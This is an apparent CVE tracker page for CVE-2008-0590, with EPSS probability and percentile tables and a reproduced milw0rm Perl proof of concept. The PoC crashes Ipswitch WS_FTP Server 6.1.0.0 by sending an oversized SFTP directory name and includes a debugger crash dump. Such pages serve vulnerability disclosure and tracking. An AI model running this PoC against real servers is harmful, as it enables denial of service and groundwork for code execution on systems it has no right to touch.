CVE-2008-0590 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	10.43%	–	–
2022-04-03	–	–	10.43%	–	–
2022-12-04	–	–	10.43%	–	–
2023-01-01	–	–	10.43%	–	–
2023-02-26	–	–	10.43%	–	–
2023-03-12	–	–	–	5.21%	–
2023-10-15	–	–	–	4.66%	–
2024-02-11	–	–	–	4.73%	–
2024-04-07	–	–	–	4.73%	–
2024-06-02	–	–	–	4.73%	–
2024-06-02	–	–	–	4.73%	–
2024-07-14	–	–	–	5.64%	–
2024-09-29	–	–	–	4.48%	–
2024-11-03	–	–	–	4.65%	–
2024-12-22	–	–	–	4.65%	–
2025-01-12	–	–	–	4.65%	–
2025-01-19	–	–	–	4.65%	–
2025-03-18	–	–	–	–	1.32%
2025-03-30	–	–	–	–	1.92%
2025-04-06	–	–	–	–	2.3%
2025-04-15	–	–	–	–	2.3%
2025-04-15	–	–	–	–	2.3,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	88%
2022-04-03	94%
2022-12-04	95%
2023-01-01	94%
2023-02-26	95%
2023-03-12	92%
2023-10-15	92%
2024-02-11	92%
2024-04-07	93%
2024-06-02	93%
2024-06-02	93%
2024-07-14	93%
2024-09-29	93%
2024-11-03	93%
2024-12-22	92%
2025-01-12	93%
2025-01-19	93%
2025-03-18	79%
2025-03-30	82%
2025-04-06	83%
2025-04-15	84%
2025-04-15	84%

# IpSwitch WS_FTPSERVER with SSH remote Buffer Overflow # # Website:http://www.wsftp.com/products/ws_ftp_server/ # # Version:6.1.0.0 ( last one,others might be vuln too ) # # Bug: Remote Buffer Overflow ( CD) # # (8e8.a78): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000000 ebx=00000000 ecx=00410041 edx=7c9137d8 esi=00000000 edi=00000000 # eip=00410041 esp=04b8c830 ebp=04b8c850 iopl=0 nv up ei pl zr na po nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 # 00410041 ?? ??? # # #Here's the PoC : use strict; use Net::SSH2; my $ip="127.0.0.1"; my $port=22; my $user="USERNAME"; my $pass="PASSWORD"; my $ssh2 = Net::SSH2->new(); my $payload ="A" x 5131; $ssh2->connect($ip, $port) || die "could not connect"; $ssh2->auth_password($user,$pass)|| die "wrong passwd/login"; print "Poc running ...\n"; my $sftp = $ssh2->sftp my $dir = $sftp->opendir($payload); print "Buffer Overflow Successfull\n"; $ssh2->disconnect(); exit; # milw0rm.com [2008-02-03]